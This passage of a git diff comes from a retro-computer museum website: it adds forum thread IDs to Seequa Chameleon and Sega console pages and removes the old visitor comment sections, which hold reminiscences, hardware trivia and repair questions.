surprised that there are so many still in existence. We do not own a Chameleon but I still have my husband and 4 kids!! Tony - I remember you!!! - - author: Letchie (USA) - date: Monday 24th May 2010 - text: |- - I worked for Seequa and remember the first shipment leaving the building!!! I am so impressed that some of you still have this computer. - - Dave, Dave, John and Kip worked so hard to make this company a success. It was fun while it lasted!!! - - author: Tony D (Reisterstown, MD) - date: Tuesday 4th May 2004 - text: I worked at the factory between 12/83 & 9/84. I finally acquired a Chameleon in 2001 from it's original owner (Boulder Colorado)! - - author: Jack (Pittsburgh) - date: Saturday 5th April 2003 - text: |- - Any other former Chameleon owners out there?\ - I still have mine ! - - author: Ted Ward (USA) - date: Thursday 19th October 2006 - text: This was my first PC. I got it in probably 1984 may 83. I bought it used for about $1000 with two SS/SD floppy drives in it and 128k ram. It had some build in non-volatile ram used for BIOS configuration I think (don't remember). I think it was called "bubble memory". The computer had a lot of things built into the motherboard that you could expand give the know-how. Things like joystick ports etc... I bought a book from Seequa (80 dollars for a thin photocopy job) that showed how to configure a lot of these things. The computer finally died when a professor at a local junior college helped me plug in some extra memory chips to expand its memory to 256k, but failed to add the required "terminating resistor" chip. After random failures for a month or two, it just died. - - author: Charles Aulds (New Brunswick, Canada) - date: Friday 11th August 2006 - text: |- - I bought my Chamelon in early 1984. In December of that year, I went to work in Heidelberg, West Germany as a civilian employee of the US Army European Headquarters. I took my Chameleon with me. One IBM-PC incompatiblity of the Chameleon was non-standard BIOS addresses for the two serial ports (remember COM1:3F8H and COM2:2F8H?). Common MS-DOS communications software (like Kermit, Crosstalk, Procomm) wouldn't work with the Chameleon, so I wrote a simple program in Turbo Pascal (packaged on a single 5.25" floppy) that would work with the 300 baud acoustic coupler I got from Deutsche Bundespost. I also wrote a multiuser BBS with Turbo Pascal that could respond to an indialing computer and kept messages and user information in random-access disk files (no database). - - It worked fine, until I came back to the US in 1988, and tried to use it with a 1200bps modem; the program couldn't keep up with the data and I had lost characters. - - That program was one of the most challenging programming tasks I ever tackled, when I think back ... I remember it used some techniques that were pretty fancy in those days (like code overlays) to be able to fit itself into 16kb (KILObytes, not MEGAbytes) of RAM. - - author: Brandon M (US) - date: Saturday 26th March 2022 - text: I recently acquired one of these while helping a friend move. I''m only 22 so i know very little about it, and cant find much information in terms of troubleshooting. I''m not even surer if its malfunctioning or if it just needs the os to turn on at all. if anyone has any resources that may help i would be extremely grateful. - - author: Henry (Hank) Rippel (USA) - date: Sunday 7th November 2021 - text: Hello dear old friends! Seequa employee $26... Hank in Customer Support... always making More coffee in the Fishbowl... green 67 Mustang... I don''t know why, but until now I''ve never searched for Seequa. What an amazing thing to discover this site! A real blast from the past! I started at the Computers Etc. store in Towson, Md... June(?) 83. I saw my first PCs there, a Kaypro II $ a Chameleon Plus. W.o.w.! I was hooked for life! It took me 2 weeks to learn MS-SOS 1.1, Perfect Writer/Calc, $ I can''t remember what else was bundled. I wrote a ''cheat sheet'' for DOS $ Perfect Writer commands to learn it faster. That got me transferred to the Firehouse in Annapolis as a part of Customer Support... which didn''t actually exist at that point. Loong hours.. doing mailings... answering phones... copying software $ learning it. The move to that old factory near Ft. Meade... exploring the underground levels, never did find out how far down it went! Always in the Fishbowl... answering - phones... even at the Christmas Eve party, 1/2 lit from the ''punch''... Fedex''ing software back $ forth with a kid at Brown Univ (I was 25, he was 20?) to see if it would run... Does anyone remember that car race to BWI $ back, between Al in Tech Support (Firebird) $ (I think) Dave Egli (64 Shelby Mustang $48)? I think it was the Mustang by a lot... but, I was biased back then! Seems like a million years ago and yesterday.. all at the same time... the days of our youth... I miss them, and all of you! God bless you one and all! - - author: Chris Daniels (United States) - date: Tuesday 8th June 2021 - text: I don''t believe CP/M-86 was 16-bit. It was commissioned for the original IBM PC which was 8-bit only, as was the 8088 in the Chameleon. The premier maker of the CP/M OS, Digital Research was very familiar with Intel''s 8086 chip, and how IBM''s choice of the 8088 was just a cost-cutting measure, and the full 16-bit machines were certain to follow. - - author: Corey Koltz (United States) - date: Saturday 5th June 2021 - text: I just picked one up. Nice little (heavy) machine. Unfortunately, it just boots to the monitor. It searches for the disk but then it just loads the monitor. Anyway, I got it with all the original manuals and software and disks. It has DOS 1.25, Perfect Writer, Perfect Calc, spell checker and a few other programs. - - author: Mark (Michigan) (Michigan USA) - date: Sunday 18th August 2019 - text: I got mine at a computer show in Detroit when the computer was about a year old. It still fires up. I did have to replace the power supply. (try to find one!) I wish they would make a Windows, Mac dual boot laptop!!! - - author: Alexander Brandon (Texas / USA) - date: Friday 16th February 2018 - text: To those who commented here who worked at Seequa, thank you. This was my first family computer. I learned BASIC on it. Played Jumpman and used Sidekick, among a few other things. And we hauled it to ChUG! (Chesapeake area Users Group) - - author: Tom (Tulsa, OK USA) - date: Wednesday 25th June 2014 - text: This was my first PC, I traded for it in ''86. Started out playing Jet 1.0 off of DOS 2.0 boot disk. I worked for MicroAge at the time, so pretty quickly I had a 20MB full-height Tandem HD and a IBM EGA card installed and running. Connected to a external CGA monitor, I could display 16 colors in Space Quest and LL Larry. $) Connected to local BBSs using Crosstalk and a external Microcom AX2400 connected with a hacked cable to work with the Chameleon''s non-standard RS-232 port. - - author: John Daniels (USA) - date: Thursday 31st October 2013 - text: I bought one brand new from a computer retail store in the mall around 1982. I believe I paid around $2,500. It was an awesome computer$ built like a tank. I never had any problems with it and, in fact, I still have it along with all of the original software packed up and stored in my garage. I can''t seem to let go of it$ (sentimental reasons I guess). Maybe someday, it can go to a museum! Unbelievably, it still works! I learned a lot on that computer. I would spend so much time looking at that little green screen that, when I would look away, everything looked purple. Weird. I used an Epson dot-matrix computer with it. It was my "main" until I replaced it years later with a computer with a hard drive and significantly more memory. - - author: Dan Riss (USA) - date: Saturday 16th February 2013 - text: TribunePhotos store on ebay has photos for sale of inside Seequa Co taken in April 1983. One shows women on assembly line. as of this date, 16 Feb 2013 - - author: Alexander Brandon (United States) - date: Saturday 28th July 2012 - text: For those that worked at Seequa, where was it located? Very cool to see posts of those who built them. They were rock solid. Don''t see as much of that these days outside of Toughbook... - - author: Wayne (Maryland USA) - date: Friday 19th November 2010 - text: This was my first computer back in 1985. Two 360k floppy drives, no hard drive, 256k memory and 9 inch green built in monitor. Yeah it was portable but it weighed a ton. Used it for about 5 years kept it for another 10 before finally tossing it. I think I still have some of the 5.25" floppies that came with it around here. It ran everything that an IBM PC would run. Had built in graphics so I could play early "Donkey Kong." A couple of my friends use to work for them. Paid about $1500 for it new. - - author: Kurt (OK/USA) - date: Tuesday 19th October 2010 - text: |- - Still have one, modified it with a 200W power supply that replaced the barely able to boot 90w OEM. Bought it used and installed a V20 and 8087 along with two new drives. Did a lot of Z80 and x86 assembler on that machine, and got surprised by the Ebay prices for this venerable boxen.\ - BTW, I still have the CP/M and DOS diskettes around here along with several mauals and OEM proggies.. - - author: John (NY/USA) - date: Friday 4th June 2010 - text: My father got this for $3,500 new at World Computers in Westbury, NY in the early 1980''s. It had glitches. I think we were ripped off on the price. It wouldn''t even boot later versions of DOS. It had no standard expansion bus. It was really heavy. I finally tossed it out in the trash in 2007. The choices were this, the original Compaq and the Kaypro with the tiny screen that ran CP/M. I wish we got nothing and waited a year.... - - author: RJC (USA) - date: Wednesday 23rd August 2006 - text: |- - I bought mine in early 1985. Two floppy drives, 256K RAM. I used it in engineering grad school and later on. I remember buying an 8087 math chip to speed up Fortran programs, and a chip which was a plug-in replacement for the 8088 but ran about 10% faster. - - I seem to remember that besides the non-standard serial port BIOS addresses, there was also an issue with the serial port pinout that required a special cable for use with modems. - - Prior to buying this computer I had used CP/M systems and I chose the Chameleon because it also had the Z80 chip. Of course, I don't think I booted CP/M more than a handful of times...After three years I bought a PC's Limited clone (now known as Dell) and gave to Chameleon to my sister. - - author: Carol (San Fernando Valley, CA) - date: Tuesday 7th March 2006 - text: I still have my Chameleon with manuals & all the disks. It still boots and runs for awhile and then shuts down. Guess it needs a new cooling system, but oh well. I still love it and would never get rid of it. - - author: Abigaildog (USA) - date: Wednesday 22nd June 2005 - text: 1st computer. Total package \~ $5,000 dollars.. in 1983! Inculded C-Itoh printer, Lotus 123 & Wordstar. Still have it, had one bios upgrade and it would get the "fuzzies" sometime. Very susceptible to static discharge. Had a routine where I would touch the lamp on my desk before touching the keyboard to discharge the spark. RFI was horrific.. poor neighbor thought I was cooking up some spy devices since it KILLED his TV reception. Helped me learn a lot about computers, including spreadsheets. Retired it when a used IBM AT came along, which of course had both drives fail as they all did. - - author: Tim (Eastern NC) - date: Tuesday 14th June 2005 - text: My first store bought computer bought in 1984 for $1500. With 256k of ram, the store manager said I would never need any more! Used it through college and a little there after. Next computer was a "ubuildit clone". I later sold it at a Hamfest for $100. - - author: Norman (Newberry, SC) - date: Friday 1st April 2005 - text: I gave my Chameleon away after I acquired a PC Brand Desktop model. I wish I had held onto it for old times sake. - - author: Mike (Portsmouth Ohio) - date: Friday 4th February 2005 - text: |- - I have 4 of these monsters that I would like to sell. They all boot and all the screens work. The cases are in good condition w/keyboard. Im am unsure if the drives work, due to not having a disk this old.....\ - write me fo more info of shoot me a price..... - - author: editor (MI) - date: Wednesday 1st December 2004 - text: I bought a Chameleon in 1983 and still have it. What a innovation it was then. I have the padded carrying case, manual, and a few extra parts and boards. It still boots, but I need binoculars to read the screen. :) - - author: Computer Bob (Northern Virginia) - date: Saturday 27th September 2003 - text: I remember the factory near Rt. 175 on Rt. 170 near Ft. Meade in Odenton, Maryland. I worked at Meade and often used to eat at a Chinese restaurant across from the factory. Instead of a formal sign on the side of the rather large building, they had a banner with the name Seequa Chameleon. Maybe the banner was an indication of the temporary nature of the business? There were a lot of computer makers on those days and a shakeout was inevitable. oc_id: 107 source: url: https://web.archive.org/web/20230604043621/http://www.old-computers.com/museum/computer.asp?c=107 diff --git a/content/museum/sega-dreamcast.md b/content/museum/sega-dreamcast.md index 088b4465..d9928216 100644 --- a/content/museum/sega-dreamcast.md +++ b/content/museum/sega-dreamcast.md @@ -9,51 +9,12 @@ params: company_name: Sega tabs: - emulators + forum_thread: 1213 emulators: - title: Chankast url: http://www.chanka.org/ platform: Windows text: The first Dreamcast emulator to play games. Good compatibility but no longer updated. - comments: - - author: Zaius (USA) - date: Friday 17th September 2021 - text: The only console I ever pre-ordered. 9/9/99! - - author: '''''CABBIK'''' (England)' - date: Saturday 13rd January 2018 - text: |- - Now the DC was definately the underdog of it''s era, and it''s sad to have to admit it given it was (in reality) a bloody fine bit of kit. I can even recall, when these were put on sale in Electronics Boutique stores, a few days earlier helping to create some pre-order promo flyers using scanned in images from a Sega catalog, via a parallel scanner, and trying to carve an isolated image using Photoshop on a 286 PC with nowhere near enough memory and the many crashes that involved. - - Mind you, i did end up owning one (along with a copy of every official, and some promotional copies of never-released titles), and damn near every accessory whilst it was still being retailed (including that rare Ethernet addon which i never actually got to use). I gifted the set to a collector a few years ago, but the second fishguts console (used for spares) eventually became a case for various different SBC''s (and i am talking way earlier stuff then the PI) and even the high-capacity optical drive got reused. A good end story to a much missed proof that Win CE was actually useful for more than PDA type application and data collection devices. - - author: matthew (San Antonio Tx United States) - date: Wednesday 26th November 2014 - text: I love this system it has great games and homebrew sadly sony killed sega with the help of illuminati much like bill gates did to commodore i would highly recommend getting one of these systems you won''t be disappointed with the experience of it. - - author: Cas (Netherlands) - date: Monday 18th February 2013 - text: John, seriously. These things happen. Just buy another Dreamcast and don''t be a pussy. - - author: regularg0nz0 (USA) - date: Friday 28th October 2011 - text: I''m surprised that there''s no mention that the core operating system in this console is Windows CE. This was kind of a big deal at the time, and was Microsoft''s way of getting a good look at what went into creating a console. - - author: John (Mobius) - date: Saturday 1st October 2011 - text: I remember having one of these when I was 5... Good times... Then we moved and there was a PS2... Little did I know it would kill my favorite thing abot sega... Consoles, man! My hatred towards that playstaition 2 grew... and now this!? I will never buy another playstation for as long as I live! I got a chance to play anothervDreamcast once... But i''ll always remember, My 1st Dreamcast... But I never got a chance to say goodbye to it... SEGA FOREVER!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! - - author: Wenlock (Australia) (Australia) - date: Sunday 12th June 2011 - text: |- - I gather quite a number where sold in Australia, though I can''t say I saw much of them. - - I''ve seen 2ndhand controllers in 2nd hand stores. - - author: Raindance Rob (UK) - date: Sunday 1st August 2010 - text: while the Sega Dreamcast wasnt a bad console it was let down by the games that were released for it, most were boaring imo. the best games were Virtua Fighter 3 $ Crazy Taxi - - author: Andy (USA) - date: Sunday 2nd November 2008 - text: Certain games like Sonic Adventure and Skies of Arcadia had mini games you could download into the VMU to play "offline." These were fairly basic due to the graphics limitations of the VMU (very low res monochrome). - - author: Falco Lombadi - date: Friday 4th July 2008 - text: The Sega Dreamcast's VMU cards not only stores thye progress on the games, but on the games, (I don't know for sure, getting all my information from the internet and not owning a Dreamcast yet myself), you can download games onto the VMU card. (This I am sure of) - - author: Robert (USA) - date: Wednesday 14th November 2007 - text: i own one it is like no other sega system its best 3d graphics out of any system they made it is not backwards compatible i thought i would get that out there it cost me 200.00 i think i have ten of the fifteen games that came out in the u.s.a. oc_id: 1246 source: url: https://web.archive.org/web/20230209062050/http://www.old-computers.com/museum/computer.asp?c=1246 diff --git a/content/museum/sega-game-gear.md b/content/museum/sega-game-gear.md index 72641a3e..35fb3208 100644 --- a/content/museum/sega-game-gear.md +++ b/content/museum/sega-game-gear.md @@ -13,6 +13,7 @@ params: - software - emulators - links + forum_thread: 1079 photos: - title: GAME GEAR subtitle: '' @@ -221,39 +222,6 @@ params: - title: Wikipedia - Gamegear entry url: http://en.wikipedia.org/wiki/Game_Gear text: Nice page with full info - comments: - - author: Kevin (Manchester, UK) - date: Thursday 4th April 2013 - text: |- - Coolest thing with the GG was that you could watch analog TV with the adapter kit. Great all crowding round the 3.2" screen in the garden. - - The other problem was games - just not enough and much more expensive than SMS or GB at the time. It was also cool using the SMS adapter, so you could put the SMS cartridges in! - - Originally 149 GBP, but mine still works, sadly UK TV is now digital, so the adapter isn''t able to work. If only I could get it to pick up FM radio! - - Even now, it still works, and with rechargables, I get a few hours per play. - - author: Thomas (Kent) - date: Wednesday 11th January 2006 - text: |- - I have a gamegear. I am not suprised that the Nintendo gameboy was more popular, it was cheaper and had better battery life - I am lucky if I get two hours out of my gamegear! The screen is not fantastic, it does blur a lot. But still, I think it was years ahead of its time, Nintendo did not make a colour portable until the GB colour in '97/'98 and did not make a backlit portable until the GBA SP in '03! - - In answer to Michael Tesh's problem:\ - I could not get my gamegear to have sound from the speaker, eventually I opened it up and found that the wires to the speaker were broken - I soldered them back onto the speaker and it was fine.\ - Some people have had more serious problems with the capacitors on sound circitury, though. - - Thomas - - author: Jaume de la Vega (Spain) - date: Thursday 8th December 2005 - text: |- - The Sega Game Gear's price in 1993 was 19.995 Pesetas, or 119 Euros with the Columns game. - - For Michael: - - The errors you got are caused by a worn cartridge slot, because is impossible to change it, you can insert the cartridge with care and let the cartridge top as flat as posible with the console top (whatever if the game isn't fully insertet) if don't run you can move it A BIT up or down with the machine off.\ - Eventually you get the game working fine, and then you can got the practice to plug OK te game at the 1st attempt. - - author: Michael Tesh (Sheffield) - date: Wednesday 25th May 2005 - text: I was wondering if you could tell me what is wrong with my game gear, the sound only works if the headphones are plugged in and it's still very quiet also the screen is distorted is there any way i can get this repaired? oc_id: 1109 source: url: https://web.archive.org/web/20230507012732/http://www.old-computers.com/museum/computer.asp?c=1109 diff --git a/content/museum/sega-genesis-2.md b/content/museum/sega-genesis-2.md index 84a5e061..0e1108b6 100644 --- a/content/museum/sega-genesis-2.md +++ b/content/museum/sega-genesis-2.md @@ -13,6 +13,7 @@ params: - emulators - links - videos + forum_thread: 1217 hardware: - title: THE ACTION CHAIR subtitle: '' diff --git a/content/museum/sega-genesis-3.md b/content/museum/sega-genesis-3.md index 40674228..152a7e25 100644 --- a/content/museum/sega-genesis-3.md +++ b/content/museum/sega-genesis-3.md @@ -15,6 +15,7 @@ params: - emulators - links - videos + forum_thread: 1218 photos: - title: BOX subtitle: '' @@ -113,10 +114,6 @@ params: - title: Sega Genesis TV commercial url: https://www.youtube.com/watch?v=Nd-tH9fKuOo text: 'Length: 30s' - comments: - - author: rod (Canada) - date: Friday 7th January 2022 - text: Model 1 Genesis is the best Genesis. That''s all I have to say.... related: - /museum/sega-genesis - /museum/sega-genesis-2 diff --git a/content/museum/sega-genesis.md b/content/museum/sega-genesis.md index f1ca303e..64ed9bbb 100644 --- a/content/museum/sega-genesis.md +++ b/content/museum/sega-genesis.md @@ -15,6 +15,7 @@ params: - emulators - links - videos + forum_thread: 818 photos: - title: GENESIS subtitle: '' @@ -248,81 +249,6 @@ params: - title: Sega Genesis TV commercial url: https://www.youtube.com/watch?v=Nd-tH9fKuOo text: 'Length: 30s' - comments: - - author: lynda (usa) - date: Tuesday 12th June 2007 - text: where can i gaet games for the sega? - - author: Thomsonicus (Poland) - date: Thursday 30th November 2006 - text: I remember that when I was a young kiddo, I wanted to buy a console for myself. I had to choose between a Sega Master System II or the newly released Mega Drive. Unfotunately for me, I didn't know much about technology so I chose the console with the additional games - the SMS2. It's a pity that Megadrive's fame came to Poland only AFTER I've bought the darn Master System2! :-\[ - - author: Matt (Uckfield) - date: Tuesday 5th September 2006 - text: I was told by my friend that the Megadrive controllers were originally meant to have the buttons A, B and Z rather than the A, B and C that was put on them. I am told this is an error and the buttons were infact meant to be A for Aim, B for Block and Z for attack. I am unsure as to wether there is any truth to this and would like to know if anybody has any information or websites with proof of this fact, if you fo then feel free to e-mail me at matt_waters14@hotmail.com thanks - - author: dave uk ( london) - date: Thursday 17th August 2006 - text: |- - hi have just got auk megadrive and feel like a 5 year old gitt as i have just pluged it in and cant get a signal on any of the chanels ?\ - sos help please - - author: james (uk) - date: Tuesday 2nd May 2006 - text: |- - I believe i have a seen two different versions which havent been mentioned here. the mega drive i own has a white pice of plastic around the power L.E.D, and no writing at all on the ring. it has no ext port and all plastic feet and only mono sound from the a.v out port - i modified it for stereo by taking th eoutput from the headphone port. - - The mega drive my uncle had was one of the first in the uk. That had a GREY piece of plastic around the led and had 'high definition audio' only written on the ring :) - - author: MIH (POLAND) - date: Monday 20th June 2005 - text: |- - HI, I have one question for you...Does SEGA CD hardware has immplied the local restrictions...in the other words is it possible to play NTSC version CDgames on my european MEGA CD??? - - please help.... - - author: Michael Tesh (sheffield) - date: Wednesday 25th May 2005 - text: I've noticed somethings unusual on my megadrive 1, it's diffrent to most others because mine has a port on the back with EXT similar to the one on the controller, also it says high definition graphics and stereo sound on the round mould above the cartridge slot. ive only recently noticed that my megadrive is a lot diffrent to all the others ive seen also i have read on the internet that if you remove a cartridge whilst the power is on and re insert it the game may access some things that you would only get if you got 100% game completion but i'm not stupid. is this true? - - author: michael tesh (sheffield) - date: Wednesday 25th May 2005 - text: How much would a megadrive II be worth with the box and all the books at the moment? - - author: Epicenter (USA) - date: Saturday 23rd April 2005 - text: |- - The cartridge for a MegaDrive/Genesis system is rather simple, just a 16-bit ROM chip on a printed circuit board with a plastic shell around it. You can easily find images on Google Image Search entering Genesis Cartridge or MegaDrive cartridge as your search term. - - A note--\ - \*\* THE NEW, UP TO DATE URL TO THE MEGADRIVE/GENESIS OVERCLOCKING GUIDE IS: - - http://www.epicgaming.us\ - \*\* - - author: Epicenter (USA) - date: Tuesday 2nd November 2004 - text: |- - Just wanted to correct some inaccuracies in the original post. - - #1. The Megadrive never had a lockout chip. The glue chip had a new BIOS incorporated into it in a secondary revision adding the copy protection .. also the VDP Then required SEGA be written into it before it would start up. - - #2. The MC68HC000 (smaller surface mount 68000) or Hitachi HD68HC000 weren't 'cheaper clones'. The MC68HC000 is a surface mount variant from Motorola. Hitachi's HD68HC000 is a licensed clone and actually performs MORE work per clock tick than the real McCoy from Motorola under numerous tests I've performed. The only weaker clone was the Signetics SCN68000 used in the VERY FIRST versions of the MegaDrive model 1, which did FAR LESS work per clock tick, about 20% less! - - #3. I am unable to confirm claims of any lower sound quality on newer MegaDrive revisions except the Genesis 3 released by Majesco which omitted the Z80 and incorporated a workalike into a large combination chip. - - #4. The EXT port acted as a controller port and is wired into the glue chip as such. It was used to select a game on a second display in the MegaTech/MegaPlay arcade system. It was removed from the design spec shortly after the first revisions at the same time as HIGH DEFINITION GRAPHICS was removed from the lid. - - I may be wrong about this but I believe the modem released in Japan utilized the cartridge slot or Mega CD / Demo Unit edge connector rather than this port. However the Megaplay/Tech application appears to be the intended purpose of this port. - - For all interested, the MegaDrive/Genesis overclocking page is here:\ - http://www.epicgaming.net/md_oc/\ - ;) - - Adios.\ - \- Epicenter - - author: SeanSmith (Lasvegas Nevada) - date: Tuesday 4th May 2004 - text: I wanted to share some reasearch i have done on the american sega genesis, I belive this may apply to the mega drives as well. There were quite a bit of revisions of models, The early model in 1989 could play unlicenced titles becase it didnt have a lockout chip, and read High Definition Graphics on the top of the ring and had an ext port on the back for a modem that was only released in japan. It also had better audio clarity, then in 1990 they added the lockout chip while still keeping the ext port on the back and the High definiton logo still on the top of the ring, this revision still has clear audio. Then in 1992 sega decided to take out the ext port, remove the Hight Defintion Graphics logo and make the red part of the plastic around the light a seperate piece of plastic, before it was painted on the ring. This models audio was fuzzy sounding and the contacs on the expansion port for the sega cd wernt silver anymore they put cheap black material for the contacs. there is - a model bettween 1990 and 1992 revisions that had the Hight Definition Grapichs log removed and the ext port removed but inside the hardware is the same. when 1992 came around they stoped using the big motorolla processor and used a cheap set of clone chips. That concudes all the revisions of the model 1 genesis. The best one to get is the 1989 one you get the full quality of what you would have payed for in 1989. There a distinctive factors that tell you the differance when shopping for one, first of all you will want to look for one with the "HIGH DEFINITION GRAPHICS" log on the top of the ring or "High AV Terminal" for the japanese mega drive. Then to tell if it is the 1989 model with out the lockout chip instead of the 1990 model with it, you want to look at the front rubber boots on the botom that support the system. The 1989 model will have real rubber boots and the 1990 model and later will have plastic. Good luck and have fun, If you find one of these you have to get the sega - cd model 1 for it, they also have better audio clarity and generally look better with the model 1 genesis. - - author: michael (sheffield south yorkshire) - date: Thursday 15th January 2004 - text: i was wondering does any one have outrun for thier sega that there selling? - - author: mick (Sheffield England) - date: Friday 6th June 2003 - text: I own a sega megadrive 1,an acorn a3000, an acorn electron and a texas ti994ai was wondering if anybody at old computers of any where could tell me how a cartridge works and what doesit look like in a sega mega drive, i would look for myself but im terrified of damaging it also is the genesis the same inside as an old arcade game like out run or super hang on with the cartridges and that lot thanks for your time!!! related: - /museum/sega-genesis-2 - /museum/sega-genesis-3 diff --git a/content/museum/sega-mark-iii.md b/content/museum/sega-mark-iii.md index 1a1fbcc4..d4ab764d 100644 --- a/content/museum/sega-mark-iii.md +++ b/content/museum/sega-mark-iii.md @@ -13,6 +13,7 @@ params: - emulators - links - videos + forum_thread: 787 photos: - title: SEGA MARK III subtitle: '' @@ -113,13 +114,6 @@ params: - title: Sega Master System TV commercial url: https://www.youtube.com/watch?v=S5vreoJLLRM text: 'Length: 31s' - comments: - - author: James Barber (United Kingdom) - date: Wednesday 13rd June 2007 - text: Hey Peder I actually have two of these now, it is a cool machine so light and small and quite stylish but the RGB output is quite dark for some reason unless the one I have been playing on is faulty.. nice machine.. - - author: Peder Johnsen (Norway) - date: Wednesday 8th October 2003 - text: This is a cool machine.. would love to have it, since its the "original" Sega Master System Powerbase I related: - /museum/sega-master-system - /museum/sega-master-system-ii diff --git a/content/museum/sega-master-system-ii.md b/content/museum/sega-master-system-ii.md index 26d44df4..805e8a73 100644 --- a/content/museum/sega-master-system-ii.md +++ b/content/museum/sega-master-system-ii.md @@ -11,6 +11,7 @@ params: - emulators - links - videos + forum_thread: 1219 emulators: - title: Dega url: http://www.mameworld.net/easyemu/degatut.htm @@ -56,42 +57,6 @@ params: - title: Sega Master System TV commercial url: https://www.youtube.com/watch?v=S5vreoJLLRM text: 'Length: 31s' - comments: - - author: Dave (UK) - date: Sunday 30th August 2020 - text: |- - Hi. I am currently going through my SMS games and detailing in a spreadsheet which I own (and which remain). - - I''ve come across something that has confused me - Captain Silver but with NO barcode on the back of the case. - - Have you ever heard of this? The items I see on Ebay all have barcodes, where my case instead has an empty space (just the squares of the standard SMS game box). - - The game appears legit, and works on my PAL SMS. - - What do you think? - - Thanks - - author: rod (canada) - date: Sunday 28th January 2018 - text: Never liked the controller for the Master System. The D-pad felt way too imprecise and mushy for my liking, and the buttons just didn''t feel good when you pressed down on them. Thankfully, you can use a regular Genesis controller instead. - - author: scrappy (usa) - date: Sunday 18th March 2012 - text: SEGA MASTER SYSTEM EXPERT. - - author: Joel (Australia) - date: Friday 31st August 2007 - text: the Power Supply was big and the RF out cables where long - - author: Ste (UK) - date: Monday 9th July 2007 - text: Alex Kidd was only built-in on early models of the U.S. and European Master System 2, it was later replaced by Sonic The Hedgehog. As the Master System 2 was never released in Japan there is no built-in Japanese version. All cartridge versions regardless of country have the rice ball, all built-in versions have the hamburger. The most likely reason for the hamburger in the built-in version is that this version was never intended to be released in Japan and was therefore "westernised". - - author: Greig (Earth) - date: Monday 9th July 2007 - text: Remember the master system 2 also came pre installed with the classic game"Alex Kid in Miracle World". Two versions of the game were installed on the machine and can be identified by the meal he eats between levels. On the Jap model he is eating a rice ball but on the American and European model he is eating a hamburger - - author: Thomsonicus (Poland!) - date: Wednesday 16th May 2007 - text: |- - SMS II - one cool device!\ - I had one with Sonic the Hedgehog built-in.\ - The first game I've bought was 'Ultima IV' with a A2 format map and two thick books. Every game was sold inside a standardised cover which included the cartridge and a short info about the game. Nice! related: - /museum/sega-mark-iii - /museum/sega-master-system diff --git a/content/museum/sega-master-system-iii.md b/content/museum/sega-master-system-iii.md index 3738e2f4..868c2947 100644 --- a/content/museum/sega-master-system-iii.md +++ b/content/museum/sega-master-system-iii.md @@ -12,6 +12,7 @@ params: - emulators - links - videos + forum_thread: 1220 photos: - title: MASTER SYSTEM 3 subtitle: '' @@ -82,18 +83,6 @@ params: - title: Sega Master System TV commercial url: https://www.youtube.com/watch?v=S5vreoJLLRM text: 'Length: 31s' - comments: - - author: d l - date: Monday 14th March 2022 - text: ive heard rarly of a sega system 3 compact with power-base on it if still alive. where? the other one with alex kid (normal and super) doesnt sort of play ands in amber color while the sonic base probably is in blacks and whites. good to note and have done before this. - - author: rod (canada) - date: Friday 15th February 2019 - text: Interesting to note that this version of the Master System was packaged with six button controllers similar to the ones that were made for the Genesis a decade prior. Which makes me wonder if they''re compatible with a Sega Genesis.... - - author: Bruno Philippe (Brazil) - date: Monday 19th January 2009 - text: |- - The Master System III is like an low cost video game console, here in Brazil, for the low class.\ - The actual price in Reais (BRL) is R$ 165, or in today cottage (01/15/09), US$ 70. related: - /museum/sega-mark-iii - /museum/sega-master-system diff --git a/content/museum/sega-master-system.md b/content/museum/sega-master-system.md index 67230caa..663db1fb 100644 --- a/content/museum/sega-master-system.md +++ b/content/museum/sega-master-system.md @@ -74,6 +74,7 @@ params: - emulators - links - videos + forum_thread: 821 photos: - title: SEGA MASTER SYSTEM subtitle: '' @@ -230,31 +231,6 @@ params: - title: Sega Master System TV commercial url: https://www.youtube.com/watch?v=S5vreoJLLRM text: 'Length: 31s' - comments: - - author: Rod (canada) - date: Friday 25th December 2020 - text: This was a good little console. But there''s one big thing I don''t like about it. And that is the controller. It''s perfectly functional and all that, but it just never felt comfortable to use for long periods of times. Mainly because of the overly sharp contours of the controllers itself. Not to mention that mushy feeling shield D-pad and buttons. just never felt right in my hands... - - author: Craig (Texas, Republic of) - date: Saturday 19th June 2010 - text: |- - The first RPG on a North American console was on the SMS, but it was not Phantsy Star (released on December 20, 1987 in Japan and in 1988 in NA ) it was Miracle Warriors: Seal of the Dark Lord (released on October 18, 1987). - - The built-in maze game was called Snail Maze. - - author: Mrnintendo64guy (USA) - date: Sunday 11th April 2010 - text: these things are hard to find - - author: Thomsonicus (Poland) - date: Tuesday 8th August 2006 - text: I have a fully functional Master System II console, two oryginal pads and some games. The built-in was "Sonic the Hedgehog". I must admit that this machine has very good graphics and sound and some games which were also released on the PC at that time weren't as good looking :) All games were released in nice Sega boxes, with instructions and so on. Ultima 4 had also two books to be read (one written in runic alphabet!), a poster and a biiig map :D Still working but the cartridge slot has proven to be quite problematic after all those years, must be corrosion or something... - - author: Jason Bernier (USA) - date: Wednesday 11th May 2005 - text: |- - I had a Master System... If you turned it on without any cartidge or card in it, you were able to play a simple maze game that was built in to the system. - - Kinda kewl.... - - author: Michael Veale (Australia) - date: Friday 27th June 2003 - text: I had the Sega Master System 2 I think it was great. We only had Alex the Kid on it though related: - /museum/sega-mark-iii - /museum/sega-master-system-ii diff --git a/content/museum/sega-mega-drive-ii.md b/content/museum/sega-mega-drive-ii.md index 4081af6e..8fda904d 100644 --- a/content/museum/sega-mega-drive-ii.md +++ b/content/museum/sega-mega-drive-ii.md @@ -15,6 +15,7 @@ params: - emulators - links - videos + forum_thread: 824 photos: - title: SEGA MEGADRIVE II subtitle: '' @@ -170,22 +171,6 @@ params: - title: Sega Genesis TV commercial url: https://www.youtube.com/watch?v=Nd-tH9fKuOo text: 'Length: 30s' - comments: - - author: Anamyd Mailliw (United Kingdom) - date: Sunday 15th August 2021 - text: A lot of Mega Drive 2s (and late Mega Drive 1s) were made with significantly worse sound quality than most Mega Drive 1s. This was due to removing the physical YM2612 chip and embedding a YM3438 in the ASIC with the graphics and PSG, but without correcting the audio amplification circuit for the difference in output level / impedance. This can be rectified with a Crystal Clear Audio or MegaAmp audio mod or as part of the Triple Bypass video board. - - author: Ako Shirabe - date: Wednesday 25th March 2015 - text: My favorite game console - - author: Alex (Bulgaria) - date: Wednesday 22nd September 2010 - text: When I was a kid this looks like a hi-tech gadget from the future :) - - author: Nathan Graves (UK) - date: Tuesday 2nd November 2004 - text: Two things. Firstly, a piece of plastic (pacakged with the 32x) was placed on top to help keep the cartridges steady (as the slot is not as high up). Also, when it was released in the UK, It retailed as a pack for about £100 